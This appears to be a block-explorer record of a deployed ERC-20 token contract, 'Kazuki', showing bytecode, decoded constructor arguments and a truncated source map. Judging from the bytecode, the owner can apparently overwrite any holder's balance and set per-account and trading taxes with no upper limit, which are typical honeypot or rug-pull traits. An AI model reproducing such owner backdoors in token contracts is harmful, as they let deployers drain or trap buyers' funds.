0e848285016116dc565b91505092915050565b611920816116b3565b82525050565b600060208201905061193b6000830184611917565b92915050565b600080604083850312156119585761195761168e565b5b6000611966858286016116dc565b9250506020611977858286016116dc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119c857607f821691505b6020821081036119db576119da611981565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611a176020836115e7565b9150611a22826119e1565b602082019050919050565b60006020820190508181036000830152611a4681611a0a565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611aa9602e836115e7565b9150611ab482611a4d565b604082019050919050565b60006020820190508181036000830152611ad881611a9c565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b3b6026836115e7565b9150611b4682611adf565b604082019050919050565b60006020820190508181036000830152611b6a81611b2e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611bcd6024836115e7565b9150611bd882611b71565b604082019050919050565b60006020820190508181036000830152611bfc81611bc0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c5f6022836115e7565b9150611c6a82611c03565b604082019050919050565b60006020820190508181036000830152611c8e81611c52565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ccb601d836115e7565b9150611cd682611c95565b602082019050919050565b60006020820190508181036000830152611cfa81611cbe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d5d6025836115e7565b9150611d6882611d01565b604082019050919050565b60006020820190508181036000830152611d8c81611d50565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611def6023836115e7565b9150611dfa82611d93565b604082019050919050565b60006020820190508181036000830152611e1e81611de2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e816026836115e7565b9150611e8c82611e25565b604082019050919050565b60006020820190508181036000830152611eb081611e74565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ef1826116f1565b9150611efc836116f1565b9250828203905081811115611f1457611f13611eb7565b5b92915050565b6000611f25826116f1565b9150611f30836116f1565b9250828202611f3e816116f1565b91508282048414831517611f5557611f54611eb7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f96826116f1565b9150611fa1836116f1565b925082611fb157611fb0611f5c565b5b828204905092915050565b6000611fc7826116f1565b9150611fd2836116f1565b9250828201905080821115611fea57611fe9611eb7565b5b9291505056fea264697066735822122084e9df302584d97a610d93dce70c48af7d4b4d2aaa429f0d00a8eb6dde13775d64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e80000000000000000000000000000000000000000000000000000000000000000104b617a756b6920e3818be3819ae3818d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007244b415a554b4900000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80634db23e3e116100a257806390ec57f11161007157806390ec57f11461029257806395d89b41146102ae578063a9059cbb146102cc578063dd62ed3e146102fc578063f2fde38b1461032c5761010b565b80634db23e3e1461021e57806370a082311461023a578063715018a61461026a5780638da5cb5b146102745761010b565b806313b2a23e116100de57806313b2a23e1461019657806318160ddd146101b257806323b872dd146101d0578063313ce567146102005761010b565b806306fdde0314610110578063095ea7b31461012e57806310bad4cf1461015e57806311e330b21461017a575b600080fd5b610118610348565b604051610125919061166c565b60405180910390f35b61014860048036038101906101439190611727565b6103da565b6040516101559190611782565b60405180910390f35b6101786004803603810190610173919061179d565b6103fd565b005b610194600480360381019061018f919061179d565b610483565b005b6101b060048036038101906101ab91906117f6565b610509565b005b6101ba6105e0565b6040516101c79190611845565b60405180910390f35b6101ea60048036038101906101e59190611860565b6105ea565b6040516101f79190611782565b60405180910390f35b610208610619565b60405161021591906118cf565b60405180910390f35b61023860048036038101906102339190611727565b610622565b005b610254600480360381019061024f91906118ea565b6106e6565b6040516102619190611845565b60405180910390f35b61027261072f565b005b61027c6107b7565b6040516102899190611926565b60405180910390f35b6102ac60048036038101906102a79190611727565b6107e1565b005b6102b66108e9565b6040516102c3919061166c565b60405180910390f35b6102e660048036038101906102e19190611727565b61097b565b6040516102f39190611782565b60405180910390f35b61031660048036038101906103119190611941565b610999565b6040516103239190611845565b60405180910390f35b610346600480360381019061034191906118ea565b610a1f565b005b606060028054610357906119b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610383906119b0565b80156103d05780601f106103a5576101008083540402835291602001916103d0565b820191906000526020600020905b8154815290600101906020018083116103b357829003601f168201915b5050505050905090565b6000806103e5610b16565b90506103f2818585610b1e565b600191505092915050565b610405610b16565b73ffffffffffffffffffffffffffffffffffffffff166104236107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047090611a2d565b60405180910390fd5b8060088190555050565b61048b610b16565b73ffffffffffffffffffffffffffffffffffffffff166104a96107b7565b73ffffffffffffffffffffffffffffffffffffffff16146104ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f690611a2d565b60405180910390fd5b8060098190555050565b610511610b16565b73ffffffffffffffffffffffffffffffffffffffff1661052f6107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057c90611a2d565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b6000806105f5610b16565b9050610602858285610ce6565b61060d858585610d72565b60019150509392505050565b60006012905090565b61062a610b16565b73ffffffffffffffffffffffffffffffffffffffff166106486107b7565b73ffffffffffffffffffffffffffffffffffffffff161461069e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069590611a2d565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610737610b16565b73ffffffffffffffffffffffffffffffffffffffff166107556107b7565b73ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290611a2d565b60405180910390fd5b6107b56000611413565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107e9610b16565b73ffffffffffffffffffffffffffffffffffffffff166108076107b7565b73ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490611a2d565b60405180910390fd5b60008110156108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890611abf565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600380546108f8906119b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610924906119b0565b80156109715780601f1061094657610100808354040283529160200191610971565b820191906000526020600020905b81548152906001019060200180831161095457829003601f168201915b5050505050905090565b600061098f610988610b16565b8484610d72565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a27610b16565b73ffffffffffffffffffffffffffffffffffffffff16610a456107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9290611a2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0190611b51565b60405180910390fd5b610b1381611413565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8490611be3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf390611c75565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd99190611845565b60405180910390a3505050565b6000610cf28484610999565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d6c5781811015610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590611ce1565b60405180910390fd5b610d6b8484848403610b1e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890611d73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4790611e05565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece90611e97565b60405180910390fd5b600060019050610ee785856114d9565b15610ef157600090505b600081156110bc5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100757600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603610fab5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036110065760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561109257600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6110b860646110aa838861158490919063ffffffff16565b61159a90919063ffffffff16565b9150505b600081111561125b5761111781600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ae816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c690919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112529190611845565b60405180910390a35b6112b8818561126a9190611ee6565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611358818561130a9190611ee6565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876113f69190611ee6565b6040516114039190611845565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061157c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836115929190611f1a565b905092915050565b600081836115a89190611f8b565b905092915050565b600081836115be9190611ee6565b905092915050565b600081836115d49190611fbc565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116165780820151818401526020810190506115fb565b60008484015250505050565b6000601f19601f8301169050919050565b600061163e826115dc565b61164881856115e7565b93506116588185602086016115f8565b61166181611622565b840191505092915050565b600060208201905081810360008301526116868184611633565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116be82611693565b9050919050565b6116ce816116b3565b81146116d957600080fd5b50565b6000813590506116eb816116c5565b92915050565b6000819050919050565b611704816116f1565b811461170f57600080fd5b50565b600081359050611721816116fb565b92915050565b6000806040838503121561173e5761173d61168e565b5b600061174c858286016116dc565b925050602061175d85828601611712565b9150509250929050565b60008115159050919050565b61177c81611767565b82525050565b60006020820190506117976000830184611773565b92915050565b6000602082840312156117b3576117b261168e565b5b60006117c184828501611712565b91505092915050565b6117d381611767565b81146117de57600080fd5b50565b6000813590506117f0816117ca565b92915050565b6000806040838503121561180d5761180c61168e565b5b600061181b858286016116dc565b925050602061182c858286016117e1565b9150509250929050565b61183f816116f1565b82525050565b600060208201905061185a6000830184611836565b92915050565b6000806000606084860312156118795761187861168e565b5b6000611887868287016116dc565b9350506020611898868287016116dc565b92505060406118a986828701611712565b9150509250925092565b600060ff82169050919050565b6118c9816118b3565b82525050565b60006020820190506118e460008301846118c0565b92915050565b600060208284031215611900576118ff61168e565b5b600061190e848285016116dc565b91505092915050565b611920816116b3565b82525050565b600060208201905061193b6000830184611917565b92915050565b600080604083850312156119585761195761168e565b5b6000611966858286016116dc565b9250506020611977858286016116dc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119c857607f821691505b6020821081036119db576119da611981565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611a176020836115e7565b9150611a22826119e1565b602082019050919050565b60006020820190508181036000830152611a4681611a0a565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611aa9602e836115e7565b9150611ab482611a4d565b604082019050919050565b60006020820190508181036000830152611ad881611a9c565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b3b6026836115e7565b9150611b4682611adf565b604082019050919050565b60006020820190508181036000830152611b6a81611b2e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611bcd6024836115e7565b9150611bd882611b71565b604082019050919050565b60006020820190508181036000830152611bfc81611bc0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c5f6022836115e7565b9150611c6a82611c03565b604082019050919050565b60006020820190508181036000830152611c8e81611c52565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ccb601d836115e7565b9150611cd682611c95565b602082019050919050565b60006020820190508181036000830152611cfa81611cbe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d5d6025836115e7565b9150611d6882611d01565b604082019050919050565b60006020820190508181036000830152611d8c81611d50565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611def6023836115e7565b9150611dfa82611d93565b604082019050919050565b60006020820190508181036000830152611e1e81611de2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e816026836115e7565b9150611e8c82611e25565b604082019050919050565b60006020820190508181036000830152611eb081611e74565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ef1826116f1565b9150611efc836116f1565b9250828203905081811115611f1457611f13611eb7565b5b92915050565b6000611f25826116f1565b9150611f30836116f1565b9250828202611f3e816116f1565b91508282048414831517611f5557611f54611eb7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f96826116f1565b9150611fa1836116f1565b925082611fb157611fb0611f5c565b5b828204905092915050565b6000611fc7826116f1565b9150611fd2836116f1565b9250828201905080821115611fea57611fe9611eb7565b5b9291505056fea264697066735822122084e9df302584d97a610d93dce70c48af7d4b4d2aaa429f0d00a8eb6dde13775d64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e80000000000000000000000000000000000000000000000000000000000000000104b617a756b6920e3818be3819ae3818d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007244b415a554b4900000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Kazuki かずき
Arg [1] : symbol_ (string): $KAZUKI
Arg [2] : totalSupply_ (uint256): 100000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000174876e800
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000010
Arg [4] : 4b617a756b6920e3818be3819ae3818d00000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 244b415a554b4900000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5284:4592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3687:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4238:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8508:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8402:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8817:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3981:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9211:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3889:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8936:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8276:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;822:103;;;:::i;:::-;;599:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8613:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3786:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9051:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4088:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;933:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3687:91;3732:13;3765:5;3758:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3687:91;:::o;4238:192::-;4312:4;4329:13;4345:12;:10;:12::i;:::-;4329:28;;4368:32;4377:5;4384:7;4393:6;4368:8;:32::i;:::-;4418:4;4411:11;;;4238:192;;;;:::o;8508:97::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8591:6:::1;8581:7;:16;;;;8508:97:::0;:::o;8402:98::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8486:6:::1;8475:8;:17;;;;8402:98:::0;:::o;8817:111::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8914:6:::1;8895;:16;8902:8;8895:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;8817:111:::0;;:::o;3981:99::-;4033:7;4060:12;;4053:19;;3981:99;:::o;9211:286::-;9333:4;9350:15;9368:12;:10;:12::i;:::-;9350:30;;9391:38;9407:4;9413:7;9422:6;9391:15;:38::i;:::-;9440:27;9450:4;9456:2;9460:6;9440:9;:27::i;:::-;9485:4;9478:11;;;9211:286;;;;;:::o;3889:84::-;3938:5;3963:2;3956:9;;3889:84;:::o;8936:107::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9029:6:::1;9013:9;:13;9023:2;9013:13;;;;;;;;;;;;;;;:22;;;;8936:107:::0;;:::o;8276:118::-;8341:7;8368:9;:18;8378:7;8368:18;;;;;;;;;;;;;;;;8361:25;;8276:118;;;:::o;822:103::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;887:30:::1;914:1;887:18;:30::i;:::-;822:103::o:0;599:87::-;645:7;672:6;;;;;;;;;;;665:13;;599:87;:::o;8613:196::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8712:1:::1;8702:6;:11;;8694:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8795:6;8775:7;:17;8783:8;8775:17;;;;;;;;;;;;;;;:26;;;;8613:196:::0;;:::o;3786:95::-;3833:13;3866:7;3859:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3786:95;:::o;9051:152::-;9121:4;9138:35;9148:12;:10;:12::i;:::-;9162:2;9166:6;9138:9;:35::i;:::-;9191:4;9184:11;;9051:152;;;;:::o;4088:142::-;4168:7;4195:11;:18;4207:5;4195:18;;;;;;;;;;;;;;;:27;4214:7;4195:27;;;;;;;;;;;;;;;;4188:34;;4088:142;;;;:::o;933:201::-;745:12;:10;:12::i;:::-;734:23;;:7;:5;:7::i;:::-;:23;;;726:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1042:1:::1;1022:22;;:8;:22;;::::0;1014:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1098:28;1117:8;1098:18;:28::i;:::-;933:201:::0;:::o;250:98::-;303:7;330:10;323:17;;250:98;:::o;4438:378::-;4591:1;4574:19;;:5;:19;;;4566:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4672:1;4653:21;;:7;:21;;;4645:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4754:6;4724:11;:18;4736:5;4724:18;;;;;;;;;;;;;;;:27;4743:7;4724:27;;;;;;;;;;;;;;;:36;;;;4792:7;4776:32;;4785:5;4776:32;;;4801:6;4776:32;;;;;;:::i;:::-;;;;;;;;4438:378;;;:::o;4824:453::-;4959:24;4986:25;4996:5;5003:7;4986:9;:25::i;:::-;4959:52;;5046:17;5026:16;:37;5022:248;;5108:6;5088:16;:26;;5080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5192:51;5201:5;5208:7;5236:6;5217:16;:25;5192:8;:51::i;:::-;5022:248;4948:329;4824:453;;;:::o;6614:1512::-;6762:1;6746:18;;:4;:18;;;6738:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6839:1;6825:16;;:2;:16;;;6817:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6892:19;6914:9;:15;6924:4;6914:15;;;;;;;;;;;;;;;;6892:37;;6963:7;6948:11;:22;;6940:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7024:7;7034:4;7024:14;;7053:27;7071:4;7077:2;7053:17;:27::i;:::-;7049:70;;;7102:5;7097:10;;7049:70;7129:22;7170:2;7166:487;;;7189:16;7253:1;7228:27;;:13;;;;;;;;;;;:27;;;7224:260;;7286:13;;;;;;;;;;;7280:19;;:2;:19;;;7276:87;;7335:8;;7324:19;;7276:87;7393:13;;;;;;;;;;;7385:21;;:4;:21;;;7381:88;;7442:7;;7431:18;;7381:88;7224:260;7518:1;7502:7;:13;7510:4;7502:13;;;;;;;;;;;;;;;;:17;7498:82;;;7551:7;:13;7559:4;7551:13;;;;;;;;;;;;;;;;7540:24;;7498:82;7611:30;7637:3;7611:21;7623:8;7611:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7594:47;;7174:479;7166:487;7684:1;7667:14;:18;7663:252;;;7720:35;7740:14;7720:9;:15;7730:4;7720:15;;;;;;;;;;;;;;;;:19;;:35;;;;:::i;:::-;7702:9;:15;7712:4;7702:15;;;;;;;;;;;;;;;:53;;;;7796:43;7824:14;7796:9;:23;5653:42;7796:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;7770:9;:23;5653:42;7770:23;;;;;;;;;;;;;;;:69;;;;5653:42;7859:44;;7868:4;7859:44;;;7888:14;7859:44;;;;;;:::i;:::-;;;;;;;;7663:252;7943:45;7973:14;7963:7;:24;;;;:::i;:::-;7943:9;:15;7953:4;7943:15;;;;;;;;;;;;;;;;:19;;:45;;;;:::i;:::-;7925:9;:15;7935:4;7925:15;;;;;;;;;;;;;;;:63;;;;8015:43;8043:14;8033:7;:24;;;;:::i;:::-;8015:9;:13;8025:2;8015:13;;;;;;;;;;;;;;;;:17;;:43;;;;:::i;:::-;7999:9;:13;8009:2;7999:13;;;;;;;;;;;;;;;:59;;;;8089:2;8074:44;;8083:4;8074:44;;;8103:14;8093:7;:24;;;;:::i;:::-;8074:44;;;;;;:::i;:::-;;;;;;;;6727:1399;;;6614:1512;;;:::o;1142:191::-;1216:16;1235:6;;;;;;;;;;;1216:25;;1261:8;1252:6;;:17;;;;;;;;;;;;;;;;;;1316:8;1285:40;;1306:8;1285:40;;;;;;;;;;;;1205:128;1142:191;:::o;8134:134::-;8210:4;8234:6;:12;8241:4;8234:12;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;;8250:6;:10;8257:2;8250:10;;;;;;;;;;;;;;;;;;;;;;;;;8234:26;8227:33;;8134:134;;;;:::o;1581:98::-;1639:7;1670:1;1666;:5;;;;:::i;:::-;1659:12;;1581:98;;;;:::o;1687:::-;1745:7;1776:1;1772;:5;;;;:::i;:::-;1765:12;;1687:98;;;;:::o;1475:::-;1533:7;1564:1;1560;:5;;;;:::i;:::-;1553:12;;1475:98;;;;:::o;1369:::-;1427:7;1458:1;1454;:5;;;;:::i;:::-;1447:12;;1369:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;17